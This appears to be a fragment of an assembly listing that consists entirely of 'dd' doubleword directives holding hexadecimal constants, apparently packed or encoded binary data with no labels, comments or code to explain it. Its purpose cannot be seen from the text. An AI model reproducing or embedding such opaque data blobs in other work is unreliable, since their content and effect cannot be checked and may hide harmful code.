		dd 0C6126A51h, 0C8889A27h, 2A88CF08h, 94207020h, 9C444D0Dh
		dd 94F00ABEh, 11420C3Dh, 8CB23Ah, 5E996850h, 84D4A131h
		dd 9228513h, 98834482h,	86129989h, 9C488724h, 9A229D91h
		dd 89909B44h, 249E1291h, 9194489Fh, 7C922295h, 72AC0093h
		dd 6E05035Fh, 165246A9h, 0B85932F4h, 528496ABh,	14EB0486h
		dd 2808ED4Bh, 4C00BC5Ch, 998F5D4Dh, 3E5F5BAAh, 140057EDh
		dd 0A6B155F2h, 5C3E5415h, 534D9D84h, 0DBAB6907h, 0A3477187h
		dd 408C79C7h, 205BF821h, 74401468h, 0F5A600B2h,	0ED844154h
		dd 48943D25h, 487FED7h,	5E9255FFh, 1C1D88B3h, 63C826Ah
		dd 9D2F576Ch, 0AC3852BAh, 757F0826h, 65811A3Dh,	7803724Ch
		dd 45610991h, 0FA040B38h, 0C22BB0AEh, 0B27100AAh, 0BFF47220h
		dd 0ED62183Fh, 9590E421h, 0CF09C038h, 1A0760B0h, 263C70C3h
		dd 5621C3h, 0D953D818h,	4F55F901h, 57799314h, 0A13E1Ch
		dd 0C65D2D05h, 0A45E4A37h, 0A7A95E28h, 437506E4h, 33416831h
		dd 0AF31258Ch, 0DB397C00h, 288CA6Eh, 68A20073h,	0A369345Ch
		dd 1A3C2CAFh, 726A0244h, 8F60D291h, 7A20A084h, 992A57h
		dd 45A4C6AAh, 88C0D515h, 2686500h, 9436E08Eh, 127B0026h
		dd 0D51FD8DAh, 0A200CB1Ah, 72C830EDh, 380ABAh, 7D9357EFh
		dd 42F46ECh, 7956AD00h,	0A11B6AA7h, 422E30C0h, 91A4F68h
		dd 0AD60A6F0h, 0A3517F10h, 0AC3A2010h, 5E897307h, 0DE9BA99Ch
		dd 2562026Ch, 0B880A418h, 0D7C77A8Eh, 56FEBD03h, 803E8F2Ah
		dd 1090633h, 7A972EAh, 0E00B9DC7h, 590087F8h, 0CBAE9CFCh
		dd 86F7F9h, 0A8EDA37Ch,	33CDD808h, 81DF1C00h, 0E7EBC592h
		dd 0D43700AEh, 0F088C85h, 0EFF8BC0Ch, 62DF860Eh, 34B980EAh
		dd 3A7281E9h, 67C0459h,	0AAB0EE6Bh, 0BA1F40C3h,	0A614DAC2h
		dd 0A09A14AEh, 0DD039F40h, 0C097E7C3h, 0F8F44D1Ch, 0B0EB3CCDh
		dd 98603053h, 8DC93A1h,	51081CA6h, 8F92EEh, 0DC366C0Ch
		dd 0A2E8DDB0h, 4E5060A6h, 4D56478Ch, 0DD93E004h, 92EF0308h
		dd 0D21F02DCh, 0CD9C4A0h, 0A00018ACh, 0A1EDEB37h, 2CAD6C2h
		dd 0B5D80B9Fh, 2CB359DCh, 40AE86D1h, 779C87C4h,	9715FCF8h
		dd 8F38F10Bh, 0E37D800Ch, 0FCCD88E8h, 0F2D1FB96h, 401C145Dh
		dd 0E8F10059h, 98047D61h, 0EE7467A0h, 0D8369714h, 0D9CB02F8h
		dd 880579B4h, 5E55044Ch, 631AE700h, 5786E1F9h, 0BFF300FCh
		dd 97872A59h, 0DFE8D7C2h, 34A30826h, 86E97D04h,	0DC4700D7h
		dd 1233288Ch, 40E8D872h, 0CEA08B98h, 973EF014h,	0B9851335h
		dd 48504019h, 3C6E0CE0h, 204CF2C2h, 0E8026CD4h,	8AE7378Fh
		dd 0E2D9EC41h, 191A744Ch, 89161C6h, 0FE570460h,	30080C24h
		dd 0B0DDCB01h, 80D17853h
		dd 932C9064h, 401C1240h, 0DD942E58h, 54B0D434h,	0F02D0B09h
		dd 87D081A7h, 99E00DAEh, 40CA6292h, 0C060D8DCh,	0E601C553h
		dd 0D7B9DFEDh, 51D3BE93h, 39C08C10h, 0A3350292h, 0D934A185h
		dd 0D27C70C1h, 0D87EFC60h, 0A0902C7Eh, 0C57C5AB0h, 3162DFF0h
		dd 4334A960h, 0DA5800ACh, 2E08A685h, 40C1AB84h,	0DB36BA2Ch
		dd 0C8BC92D1h, 0E73BA83Ch, 9330C7F4h, 0FCDBC753h, 0DC7C85A1h
		dd 0A086DE00h, 0A6EDD83Eh, 8798A40Bh, 0F86AD504h, 78DE3650h
		dd 0B9B97881h, 0C36181D4h, 665380D6h, 7D23C60h,	0AEEFEE60h
		dd 0DDB1D991h, 1849B827h, 35BB8AC2h, 30AAF041h,	0A03A9E1Ch
		dd 0E89324C5h, 8D2CDC03h, 1630E6C4h, 1E84DA36h,	0DD900F7Ch
		dd 9286E500h, 40941CC0h, 7ED70448h, 81F80C0Bh, 8EC4218Ch
		dd 0B460E5CBh, 89E4B308h, 0CB0E9B9h, 2C1DEA67h,	0DC2C09BEh
		dd 8D100819h, 2C287CD3h, 49C4EBC2h, 0EFB91C03h,	4CDC094Ch
		dd 9FE452C4h, 0C8C25032h, 2E3D9FC0h, 420DF85h, 0C3D8A095h
		dd 697CAE10h, 973A3678h, 20D92EA7h, 96DC9342h, 0F93C902Ch
		dd 13C2AEDCh, 0DDDEDDAh, 6058B534h, 360F8C20h, 99BE9CA3h
		dd 809461B0h, 4D218F2h,	0DA0DCE50h, 491FF38h, 57BF8EAh
		dd 5697D2F1h, 0E084B5DFh, 0EA21C1B9h, 872AC20Ch, 0F50B189Dh
		dd 0DAC8009Ch, 2908B9E1h, 0DE68B0DCh, 0E7EA6C01h, 80DAD8ABh
		dd 5DDCD860h, 850264FCh, 81E508A7h, 0F86618ABh,	0F0535089h
		dd 0A8E8E5FDh, 2086A02Eh, 34AB8B82h, 838E0A2h, 1D449ED6h
		dd 36AA04E8h, 4F3CF2DCh, 0FB4ED431h, 0BC5D0h, 0D834B992h
		dd 0EBC0A193h, 6301DFF0h, 7CAA86EEh, 907098EFh,	8AFC3A0Fh
		dd 60410B3Eh, 3130B850h, 0B4EB21E7h, 0EF371DDFh, 0DD340997h
		dd 2D8150E9h, 800C83C8h, 0BC680B09h, 0E082C252h, 0E8E2E47Ch
		dd 6C643417h, 0BEDFECB0h, 5F34E850h, 87DDCD05h,	8B0590F7h
		dd 80A37Ch, 83CD2EF0h, 0E11C2D54h, 868137DDh, 85E6CE53h
		dd 0BB812180h, 8CEDD8C5h, 0C8A1E7E8h, 743038B9h, 0E020EA5Bh
		dd 29DD6033h, 0A938A181h, 0F1EB7E10h, 0BCB0F87Ch, 0AA0DE8DFh
		dd 607C2832h, 378E2474h, 0CDC201Ch, 0CDAA84D5h,	0C107AE20h
		dd 329286DAh, 0CBA08541h, 0E05DB838h, 70E59C5h,	8A2D52C4h
		dd 0B975418Ch, 0C1EC2809h, 8F92E733h, 0D8B1FEF1h, 47DC8788h
		dd 525343DCh, 405C86B4h, 74F9878h, 0CA268ABCh, 0A9283C04h
		dd 0C2920180h, 0A045D8EBh, 0C5B042E9h, 60B9F0A6h, 0E36A917h
		dd 780BDCCCh, 0B9A619E8h, 1DAE9ECh, 58552EC2h, 4993DC31h
		dd 3061602Dh, 68D8D737h, 9CEFC1D4h, 4420CDA3h, 94F4A692h
		dd 0F0E8C964h, 804FDCD8h, 81ED300Fh, 0DF86E663h, 0E885EFF1h
		dd 497EE60h, 0A281DCF0h, 20ADFF18h, 0C513A9B4h,	0DC01EDD5h
		dd 0CBAAEBF2h, 0F6C40CCCh, 0DF1507CFh, 2094CAB8h, 43240768h
		dd 49839300h, 263EA0C6h, 66993AC4h, 89F15960h, 1F00EE17h
		dd 0EA402AA9h, 608390ACh, 0B14C38D1h, 51EA124Ah, 7097333Bh
		dd 0FEA4DF0Ch, 209648E7h, 0A5002FC9h, 303C08CFh, 33B32049h
		dd 330FBD1h, 0B7F57BD0h, 4E38F618h, 0AD95920h, 9562832Bh
		dd 0FE927320h, 20CE0D30h, 3F0D4B90h, 0A02BF24Eh, 0F8A78C00h
		dd 14950177h, 0C62FC0FAh, 0B908920Ah, 1DB8F0h, 28B077FFh
		dd 0B4F38F19h, 0DDD4C44h, 9BF898A3h, 91589118h,	9677829Eh
		dd 0B831A214h, 77FA5210h, 0B672CD00h, 0BB2A93E2h, 0E95100D9h
		dd 20C4EB4Ah, 0A4A0C7F3h, 4007EDEFh, 0F6B45086h, 84453BC5h
		dd 0B80425DAh, 84410CBBh, 98F9A97Ch, 47698190h,	1F8F482h
		dd 30263883h, 5894F1E3h, 7481421Ch, 0C6001822h,	7D71E630h
		dd 640F4F93h, 0E6ED6194h, 3759A2C5h, 0E0613DBEh, 0FA36DEF3h
		dd 4F03CF76h, 0D40DB581h, 74B9B68Ch, 441530E2h,	0CE498031h
		dd 283CE824h, 809AEE8Eh, 58DE4EFh, 0EDC73028h, 8FA90819h
		dd 92152202h, 456A8133h, 34A26430h, 0B968A4h, 269CB4D7h
		dd 0FC794649h, 1C131B29h, 0FB27AC90h, 0B32A7048h, 0C124CA49h
		dd 14CF7A5h, 4D9A5C00h,	8FD84B50h, 8E2B0B0Eh, 9D41D805h
		dd 0E363005Ah, 78AEFD52h, 8E2B2A54h, 83D1E0B7h,	0E1FDC81Ah
		dd 46830CE7h, 2D1F599Ah, 0C604ECE8h, 0A7864FE0h, 21386009h
		dd 54ECFC0Dh, 1326B9FEh, 0CA0300A1h, 42D9F30h, 0BAA98178h
		dd 0EE0CC8BCh, 8CFFA50Ch, 1414E046h, 90602183h,	7CF9E844h
		dd 0EA90A805h, 0B866053Fh, 7BEC7D8Eh, 98AD118Ch, 0A0D6C482h
		dd 37917495h, 0C8033280h, 0CE006E97h, 0B6982E7Bh, 2A0C950Fh
		dd 0DF4A1B2h, 2F20D6C5h, 5E801A8h, 0F7D18048h, 0DC1ED915h
		dd 8C751DE9h, 268841F3h, 5F4709FBh, 20867A70h, 0C60A387Eh
		dd 0B0ABAFA1h, 3B23E820h, 49C80148h, 303D465Eh,	3514C3C8h
		dd 0F220BCF0h, 0E4084D4Ah, 0C272603Ah, 0EEC4043Dh, 8C3E51C7h
		dd 0A91847E4h, 4070A3C6h, 39496016h, 28034B3Ch,	4C01CB14h
		dd 2AE70AA4h, 2F80E4A1h, 0AA9CCEA5h, 93FA0EA9h,	0D9AF2736h
		dd 91BCE640h, 0EC4CB604h, 599B0890h, 998F0166h,	22823C7Dh
		dd 122C0528h, 0A80021CBh, 24FE03E9h, 3044923Ah,	0B9794D9Bh
		dd 173E77CFh, 7CD9023Ch, 68D630F6h, 0B0C3FE3Ch,	0E3843224h
		dd 58A7D320h, 0FE59D0EBh, 0B0922C04h, 88645300h, 296DCA95h
		dd 55B23334h, 9100DB08h, 0C1886C72h, 723BE79Dh,	443E0254h
		dd 67172FF2h, 0AC1D4C64h, 0C500A1CDh, 0C14F08DBh, 4C1004C8h
		dd 93A25A76h, 0DCF238B8h, 62A1BD00h, 32F8A00Fh,	0C5D77E12h
		dd 6B7D4F18h, 13C30050h, 2BE8148Dh, 0DCC8A8ADh,	0DE680FAAh
		dd 0A4E1F15Bh, 0D851CB39h, 0A50036DDh, 75E42641h, 0A0F74691h
		dd 474CB898h, 6A0C7D30h, 0A0274390h, 0A3C400E4h, 30359269h
		dd 0D063B799h, 0E2A11918h, 0C6204095h, 0DE183068h, 0BD0CE618h
		dd 0EA014C93h, 90C66FECh, 0F883018h, 0B3EC07E6h, 0C043B95Eh
		dd 0A2E46548h, 0F88C4D54h, 887A0F8Ch, 88D1CAFFh, 626C8154h
		dd 0CC8D8F88h, 953E611Bh, 0AD301D97h, 99EEC6Ch,	96531D41h
		dd 0E4503AC6h, 4974C7A5h, 0CB083831h, 9A076165h, 34765733h
		dd 1B200029h, 6CA5F6D3h, 8D334975h, 28086Fh, 0D283C021h
		dd 0C89D1AD9h, 0D7BA520Fh, 0A3B0F474h, 0FBD823CCh, 0E2887B00h
		dd 862AC5CAh, 897F44h, 937B8863h, 4A459A72h, 0FE48D0h
		dd 8983FAF0h, 485567Ch,	6A78BA2Ah, 79D0882Bh, 384BFE00h
		dd 753AE84Ch, 0E3B70787h, 0C23D2812h, 584C6735h, 0AB986208h
		dd 0B023532Dh, 887001FAh, 0ECDCAE9h, 88788E03h,	75FBA974h
		dd 4EF10383h, 2B07696h,	149177F4h, 10BB31DAh, 6077FCA9h
		dd 0F9216A47h, 7A2E0641h, 851FB471h, 0F060A020h, 0F014813Bh
		dd 6680481Dh, 2A8832CEh, 94615318h, 8FF18BCh, 0E8C67AECh
		dd 9E70870h, 1902D0ECh,	0D53BE002h, 82718101h, 0A5AB00C2h
		dd 0F5056E4Ch, 2F01832Ah, 5C9934C4h, 0BAF25472h, 0DC8F30h
		dd 9D6D410Eh, 0DFB0CD4Ah, 7C48353h, 0CBCE84A9h,	0FC5DDC40h
		dd 7E4604AEh, 987833EFh, 0D2089054h, 70B4A5EDh,	0D30218FBh
		dd 95F546B5h, 5BE0E017h, 7A117C7h, 900843AEh, 0F83E2F67h
		dd 7340758Ah, 0EE4B888h, 9BE7AB34h, 9796C5C1h, 390C361Fh
		dd 83899CEAh, 0FDE42064h, 94886160h, 2955CA10h,	738757C8h
		dd 0DE7389A9h, 0DD8BE8BAh, 3EA791Dh, 7FC7B7B2h,	0B9A03F8Eh
		dd 0B0D3B803h, 0CFC00418h, 3F2088A0h, 18830D40h, 18BB6251h
		dd 6B206909h, 33071DD4h, 41E69DF0h, 9AC929FEh, 0D9E4F8B2h
		dd 689068A4h, 95028246h
		dd 0F8C664ECh, 0E0048E7h, 4323ECFDh, 120E1A8h, 58504929h
		dd 3F20C73Dh, 0C6CB2008h, 0C0311975h, 0C8344AA0h, 0FF70C036h
		dd 0A2384162h, 986A84C9h, 5890D9F3h, 539F33A1h,	0DBB2C03Ch
		dd 79FB4E30h, 0A80C5038h, 822FF9Bh, 0C896B882h,	8F08A464h
		dd 3B195Eh, 5844A931h, 2DF83D43h, 0EAC479C7h, 0A62E7641h
		dd 2C863474h, 64ECBE57h, 0C814CB3Fh, 0E418C0A2h, 3267B43Dh
		dd 7E403B69h, 4C895E8Ch, 0FD82EC3Eh, 982A972Dh,	1D5465Ch
		dd 0E9C3A3F9h, 88418B44h, 10ADA4Bh, 1F543188h, 0E8411E6Bh
		dd 0E30CBE18h, 0C666EC08h, 91CF88h, 0D7ECEB04h,	79DAE8h
		dd 0D4451D0Ah, 5FA5C264h, 0A001A14Eh, 7F559B46h, 24D71C20h
		dd 5828C8C6h, 73000D80h, 33937D4Ch, 2AE3096h, 0C843F59Ah
		dd 9C60EF09h, 0B8A018DCh, 0A125C66Ch, 903405ABh, 200804CAh
		dd 0CC012CFBh, 5231C379h, 0FF8DE0DAh, 90C44CEBh, 0F1242220h
		dd 83C09C95h, 5CA35FB9h, 2EB5103Eh, 0FE8C7E74h,	0D6CF0084h
		dd 0D514457Eh, 21C002B4h, 0AFF82E3Dh, 0CE0C0F3Bh, 0E65D4464h
		dd 2282008Ch, 406841B2h, 1D300090h, 0C486D8DEh,	0DC84534Fh
		dd 39B48E0Ch, 3F07C251h, 0B90C7480h, 82377770h,	9D7000BDh
		dd 1544E869h, 340BABC2h, 2C186E7h, 9625548h, 0EC8C00B0h
		dd 0C86CB949h, 0E6F7C7FDh, 6CAC4E1Ah, 1906A344h, 0C86877FEh
		dd 12D0329Bh, 0E80F94E7h, 27D3A462h, 6F03408Ah,	42B1920Ch
		dd 0FDF5E900h, 4D8F8568h, 0A8755C58h, 38C56E8h,	0B0946A2Dh
		dd 0A0D92E6Dh, 5044274Ch, 48C56A8h, 0A5F7D31Ah,	203F6284h
		dd 51D282CDh, 9F0E4B3Ah, 1600219Ah, 6A536ECFh, 18C44877h
		dd 0A07CB6A4h, 0C032219Eh, 454ADD71h, 0CB1D3919h, 0E0879250h
		dd 54AC5A09h, 0A8FF58CFh, 3D576D04h, 1E35D47h, 0A5F0D295h
		dd 88D118BCh, 0D213BDC2h, 68010F52h, 0CCCFBA78h, 790440C2h
		dd 8BB914C6h, 0F501D002h, 8790E8CDh, 0DC98EA7Ch, 92105C6Ch
		dd 98074CE1h, 79DB5FE8h, 65B46488h, 0EA8C6031h,	0B0C3988Fh
		dd 50C0F6DAh, 262D7471h, 7674E9D9h, 39032B46h, 0CECC5732h
		dd 3BE95FE8h, 0A0332606h, 9295DCAh, 45755EC5h, 4E6A3C90h
		dd 0A54CA203h, 2330CD7h, 7147A918h, 0E976B6h, 20C4715Ch
		dd 0C7400F18h, 4418B0FCh, 20C36F89h, 87502AA9h,	3C1CD5C1h
		dd 81B3D085h, 20F8C84Eh, 0B0B91E7Ch, 0DC18A5D9h, 526B503h
		dd 0D845988Ah, 6A0EAF8h, 43123203h, 4F0D9823h, 0B849C676h
		dd 57F2D472h, 80F09F31h, 0E1350092h, 0CA37A803h, 30A0AB20h
		dd 20E9DE56h, 4E00B2E4h, 6BE194DCh, 9C7251C6h, 4DCF41C8h
		dd 0D87FECF6h, 117CCCB6h, 0ED59487Dh, 0CC1541ADh, 37038D17h
		dd 0AA44D48Ah, 2B4840F9h, 2EEE4B8Eh, 1C2B239Ch,	0BD538186h
		dd 3C0B4B3Dh, 0C4FBCA38h, 6F80FF11h, 65CAFE88h,	0D8222943h
		dd 5288E6A0h, 0FFFB3728h, 8214C548h, 5069B31Eh,	0FEDD15D8h
		dd 310E8044h, 23240B8Fh, 261CC866h, 0A73BC700h,	0AE835725h
		dd 0BB42001Ah, 31CEB10Ch, 0C40BF417h, 292EA390h, 3A5CCC80h
		dd 9F427DB3h, 461D9305h, 97171897h, 0C7837312h,	60B84410h
		dd 4CF3A069h, 35090C7Dh, 0CCC17C3Ah, 97828A7h, 0E1B94608h
		dd 0BC62E758h, 1E3030F2h, 41D3070Ch, 0F02B0197h, 0C7B981ADh
		dd 1060ACE5h, 2326F08h,	0CCF68FF4h, 9BF8B0D0h, 0C452B26h
		dd 0C0C8330Ah, 6365CB61h, 73968042h, 0E3EB70F0h, 0E40FEE00h
		dd 5A8722Ah, 0FA21C07Ch, 5863433Eh, 0CA1D8807h,	0DF90604Ch
		dd 1EE97207h, 0E8E1B8D0h, 0BB2B0DBCh, 2088417Dh, 0DCAA3144h
		dd 45F26843h, 27C6C725h, 0D6123F18h, 0C5962674h, 0A4F04CFCh
		dd 832283Eh, 98AFCBDEh,	6D4A210Dh, 0DBB7F712h, 0C693E004h
		dd 0A8CECA5Fh, 831E84E4h, 43E8E115h, 27828AC8h,	62A13C01h
		dd 30CAD983h, 403F297Bh, 0ACA689CBh, 23CC913Eh,	0CD298010h
		dd 4E603D7Fh, 9F386439h, 2187810Fh, 0B86C250Ch,	0ECB20131h
		dd 0B0D9F002h, 1215B8D4h, 60E74E34h, 9477F144h,	96F2142Fh
		dd 0BC1C4CB0h, 84808F38h, 9971F0FDh, 650018F4h,	95EC0B5Ah
		dd 613AB43Fh, 8FA950E9h, 6908DCF0h, 43224714h, 0E74A7734h
		dd 3023982Eh, 0D464420Eh, 0D6260096h, 433D3775h, 93C60A98h
		dd 38C8490Dh, 4F68400Ch, 7B4F5539h, 605E1022h, 80E902BCh
		dd 0F17013ABh, 55140C00h, 2798F68Ch, 8578BB32h,	9210F7A5h
		dd 24412A44h, 83F42251h, 92019033h, 4028EF46h, 90C5BB4Fh
		dd 2338A725h, 749517A8h, 1ED0B6A9h, 4823F6Ch, 0CEA98264h
		dd 384434E8h, 22D7F727h, 40BD0F04h, 9896BC18h, 0D6301F38h
		dd 31CF1883h, 435498CAh, 0FD1751C8h, 0F8C81240h, 0BA30B0B9h
		dd 219926E4h, 24B03934h, 803D8BB1h, 3A87B700h, 4A78464Bh
		dd 435C00A0h, 2161DD90h, 0FF58B549h, 0CE7961B8h, 8060385Dh
		dd 6D3C1CE7h, 8FD16CAh,	91C0791Ch, 53A5ECD2h, 0E68094DCh
		dd 0FDF7D319h, 0FF393008h, 0B4540436h, 0BB54D1EFh, 348104BAh
		dd 39838CE5h, 4E352C9Ah, 923F84A7h, 4C93C764h, 2DBB46B1h
		dd 0B844C18h, 4C274B23h, 0ABFB02E4h, 85DEC1Eh, 4ACD4ECh
		dd 501700A4h, 944BAA9Bh, 0EB884103h, 7709ED18h,	1CD21490h
		dd 0F5A830B4h, 8F106520h, 0EB66311Dh, 9B150401h, 78BA6AEDh
		dd 6629761Eh, 0C9A006F8h, 526F1E7h, 80BB0841h, 0A9B72434h
		dd 0F556DFDh, 9C2D33ECh, 764D8141h, 3CF87159h, 8CDEE8F8h
		dd 7C46622Ch, 0A2320D0Bh, 0EABD5E14h, 0A5948220h, 0BC050166h
		dd 0C438825Ch, 0EAC5F338h, 2A4023BCh, 8EF900ACh, 0D30DE49Ah
		dd 60001471h, 1B9CA930h, 14977782h, 34870294h, 67813383h
		dd 9003C05Eh, 0D8134246h, 39FB6664h, 0CB8676ECh, 9C4BA4Fh
		dd 46216A60h, 3BCECCDh,	0BFFF48F0h, 180335F8h, 0D18F286h
		dd 0DC92A026h, 1DF30643h, 1166F874h, 0B2C10201h, 89331287h
		dd 5ED11C51h, 4924A7FBh, 6EA56F00h, 0BC520718h,	0ECCE024Ch
		dd 31F3FB03h, 0F43D106Bh, 26E300ECh, 0DDE52D34h, 2300C6E0h
		dd 0EB9A9C1Ch, 633F9B7h, 2BE143DAh, 443989B0h, 3D910F24h
		dd 0EF2F610Fh, 43D0D13Fh, 7E20C086h, 0A508442Ch, 0FB7B9D00h
		dd 0DDFED0DFh, 0D9B30CFh, 3B1C35C1h, 0C5258B00h, 56F5096Bh
		dd 0BF80061Bh, 62FC3D78h, 0F27DBE00h, 30E531C6h, 8CB0187Ch
		dd 1536E8F7h, 12482C60h, 3BD7653h, 227ACACFh, 918B207h
		dd 73206ED9h, 0A9BD007Eh, 14C8CA5Bh, 3F028F1Dh,	6C525E10h
		dd 0C3A0A503h, 912E7023h, 0D8A23A1Bh, 24584470h, 1A443600h
		dd 0ABA64E81h, 0D63500DDh, 74C0D0FDh, 0C2733F6Fh, 18B4303Ch
		dd 0DA83293h, 730A0C1h,	61F430E7h, 91CE80E0h, 49318305h
		dd 0CC40755Dh, 7BACBA24h, 3D8000AFh, 30457A0Bh,	71415FFh
		dd 0C0F04719h, 0FB18ECF9h, 6C008C9Bh, 1A481913h, 301D6C2h
		dd 0D437AFAAh, 8FE3CD84h, 166AC0C0h, 4D05A3Ch, 11C45DB2h
		dd 0BF8287h, 0BB270228h, 93E90F91h, 944EC715h, 5621218Ch
		dd 36270A00h, 143733D4h, 0CCCEA6Ch, 71D517A8h, 79186078h
		dd 5F3146EDh, 0F06701F6h, 698BEA95h, 93108014h,	8FAF3107h
		dd 0FCD30246h, 74507C90h, 30A8200Ch, 48405C2Eh,	0D600BF40h
		dd 75BBD561h, 0CCB3DD12h, 1D214908h, 62D6B901h,	15957A8Bh
		dd 0DEB67987h, 0D2DB5150h, 4B9F43F4h, 370E613Eh, 79F7A816h
		dd 0F0BD9B30h, 663C0C62h, 83085298h, 5857C1C0h,	1B63BF9Bh
		dd 0E1EA50F5h, 40E199E0h, 91B9BA02h, 807D30C2h,	0A61AC7A8h
		dd 0E884686Eh, 2100D664h
		dd 0E04F130h, 1C737831h, 466A6593h, 28680A95h, 0E401FCE6h
		dd 737560A8h, 0E0FE9F17h, 640EFF88h, 60A77967h,	2360D6C0h
		dd 4611C3D5h, 0D6B61E0Ch, 0C7002E0Eh, 0DFD81DD4h, 6F556CFh
		dd 98AA9161h, 6905E074h, 42D4B529h, 26A5A400h, 3A22FE43h
		dd 5600046Bh, 0D29B737Ah, 30C3831Ch, 0A6A4F4EFh, 0A11109A8h
		dd 3C315170h, 40318B5h,	191BE27h, 20223294h, 5F270B89h
		dd 1C8BB21Eh, 85FA434Ah, 7859B03Eh, 5F9DA9Dh, 4F5A2374h
		dd 28E04067h, 25FEBFFDh, 0DC017BECh, 0F6201E7Ch, 0B8F4790Fh
		dd 0DB00051h, 36DFEED2h, 47494405h, 0D3120744h,	104DB804h
		dd 910AB001h, 615BEC42h, 188970F8h, 0A017B0A9h,	0EA812491h
		dd 2474E017h, 0D31C2028h, 80E46DB6h, 265A944h, 0B3D55EE4h
		dd 2007E09Ch, 0E22FD6B8h, 0C057E08Fh, 249DEE97h, 4F446F82h
		dd 4F4090A8h, 0B12B29h,	0D7EECA5Eh, 2CFC24D4h, 47B8D0C1h
		dd 0A45001AAh, 518DDCEFh, 0CAF0B04Eh, 166F20D8h, 386944h
		dd 0CB902911h, 75E04C3Fh, 20188000h, 63B45696h,	44EC1510h
		dd 0BA23F86Ah, 0C1270803h, 2B62F491h, 27108820h, 912139B7h
		dd 0B4FD6380h, 0F7927D82h, 9C43EE03h, 72509Dh, 0A59A9189h
		dd 0DF327DE2h, 0B0DCE63Fh, 0E946B84Ah, 0D960A70h, 8867CBh
		dd 5680D660h, 0D90AEF0Bh, 8C728BFEh, 94F4D502h,	0ADF8A11Ch
		dd 0A820224Ah, 0BE36025Fh, 42CDB5Eh, 0C4191048h, 0A6BA4814h
		dd 2359F120h, 2410D518h, 0F01F6EF4h, 9097180Dh,	932C27D3h
		dd 0F406179Bh, 54B83E11h, 14918449h, 0BC6820A2h, 2FE1D200h
		dd 61A3979h, 4099FF30h,	6F47F4D1h, 0D7875880h, 1DBC83D6h
		dd 6B958900h, 10146672h, 48F7FAFDh, 5613C853h, 0E02840F8h
		dd 516E046Ah, 0A01B78C0h, 10CF6FE4h, 244A6CDAh,	0D2875467h
		dd 2A85EC25h, 42A84078h, 5E200822h, 0E46B0267h,	284449A1h
		dd 6CF420h, 54C2D96Dh, 0DA9E41EDh, 40705524h, 0E41ABA04h
		dd 1207E0C1h, 25889303h, 103EA471h, 29141997h, 0CC351868h
		dd 40DEC020h, 80E73995h, 1621E5B9h, 10326DEBh, 247D8696h
		dd 0A84885Dh, 0E4C1BF61h, 0EA0077FCh, 5C9A49DCh, 0E64F4609h
		dd 21342068h, 6F0EA294h, 4C1EA06Fh, 4F494D92h, 321820FEh
		dd 0D3107DFBh, 7F4A038h, 208E827Bh, 1D862968h, 90A15ED9h
		dd 78571888h, 0C08A1166h, 0F106D300h, 0E75C72ADh, 8208CC55h
		dd 0A800A721h, 9EC861D3h, 27A8A12h, 2AF740E2h, 9882BACFh
		dd 78C7162Eh, 27637EC4h, 2EA2BAABh, 0EECCED60h,	0D576287Dh
		dd 90154026h, 0A265498Bh, 3594DA28h, 77822491h,	3444CF17h
		dd 0D204690Bh, 4980032Fh, 0C46BBAC1h, 20454528h, 288CB8BCh
		dd 4DE42706h, 2C882809h, 270E8A83h, 1FDB903Eh, 54FC0245h
		dd 4C31D9BEh, 50F0E0A7h, 82842D12h, 2B16EEE2h, 0E801C293h
		dd 850B324Ah, 7EB05CF8h, 9DC3460h, 649882A1h, 0E998D420h
		dd 44D94895h, 0C1C14A3Dh, 534830F1h, 489FB480h,	9C5141F0h
		dd 0D44540E1h, 80592408h, 0B05B1DFAh, 53FB4FFDh, 0B7F009CCh
		dd 920A257Ch, 8870A4A2h, 0D18E420h, 0FD687173h,	44F498B7h
		dd 0C24D557h, 90B13880h, 0FA028482h, 0F0362861h, 92052621h
		dd 191FF7DAh, 1E04B005h, 0A8C33CD4h, 18190076h,	0FD2B5677h
		dd 51C22DC4h, 405DCE06h, 280535ECh, 20347934h, 0F5F87CDAh
		dd 18C127EAh, 88F70DEEh, 0D0948104h, 0CDE00016h, 4DA13217h
		dd 0BA26E870h, 79572030h, 38B80629h, 10584C3Dh,	50585296h
		dd 50828C10h, 6341F210h, 40144460h, 66F8FB50h, 0A21984E3h
		dd 0BA008310h, 58C171C3h, 0C9107F65h, 4DDD3420h, 0A26304C0h
		dd 0CC4821CFh, 0F0186258h, 7529C195h, 1F5C927Ch, 40889901h
		dd 9A558710h, 4B0372B8h, 0B16EDFDh, 98C8DC63h, 0D04048A6h
		dd 6CC00A88h, 21F0C99Bh, 659139C2h, 9B64B303h, 0F831B972h
		dd 0F079C9F4h, 6719218Ah, 0C8D38948h, 58A0D40Fh, 75CDF20h
		dd 0FD133773h, 0F00891A9h, 0E4690574h, 3A9C5696h, 2262368h
		dd 0D1D9A965h, 0D06028E2h, 9001082Ah, 5F1A231Dh, 4865F404h
		dd 23BD9C02h, 249AFCD3h, 0EF6B14C4h, 0A6580519h, 9BD80D8h
		dd 0CBD56BD6h, 1B809C45h, 0C5BD6B7h, 0E3DA007Bh, 9BA92DD4h
		dd 6CAB6A8Dh, 1C4C90C2h, 0BC48B05Ch, 24008C2Ch,	6BC2FACDh
		dd 50703C50h, 0A814A49Fh, 88724FC4h, 0A104F9B3h, 54E5E88Ch
		dd 22284082h, 0BCC8D917h, 0A9075E60h, 26AAA3B4h, 0C420728Eh
		dd 53DFEED4h, 14509C60h, 5E028C10h, 52F0BF9Bh, 1081193Ch
		dd 59B5659h, 84978B50h,	0C9BC084Ah, 8170758Dh, 122BBF4h
		dd 0FEB2A0EDh, 0F71055F5h, 896DF100h, 17A5BCD0h, 0E07E0E56h
		dd 75E75898h, 0D99051A4h, 79D8914Bh, 0C8533115h, 1BE99401h
		dd 0C429BE9Dh, 247DDAC7h, 0B7900701h, 76AAA5F0h, 0F85F8420h
		dd 7CE487E9h, 0A00AE260h, 0E4409E01h, 2ACAD89Fh, 0ED04D426h
		dd 0D15E05ECh, 32FFDA14h, 69307C74h, 0A717183Dh, 0BA12FE35h
		dd 0DA9B0C08h, 0ED281E8Fh, 2D4E0413h, 552E8806h, 47FD00E1h
		dd 0F6503E96h, 0D4124A97h, 14C0302Ch, 48AE56BAh, 3110689Fh
		dd 0EF4F0C6Ch, 2EED917h, 0E4F10DD9h, 20C83261h,	715868CAh
		dd 0B0668BA0h, 11D3BB04h, 8885F0FFh, 0C3B4837Dh, 0DF8FED3h
		dd 5600A0DAh, 0E8F73B84h, 24F1CE32h, 1138D9F4h,	0FC970671h
		dd 1DF84C75h, 2E68A2C6h, 0C8954764h, 74F52D83h,	10D03D28h
		dd 0C8184AB0h, 0DA00336Eh, 0A6407A4Dh, 0B854A293h, 0E9208098h
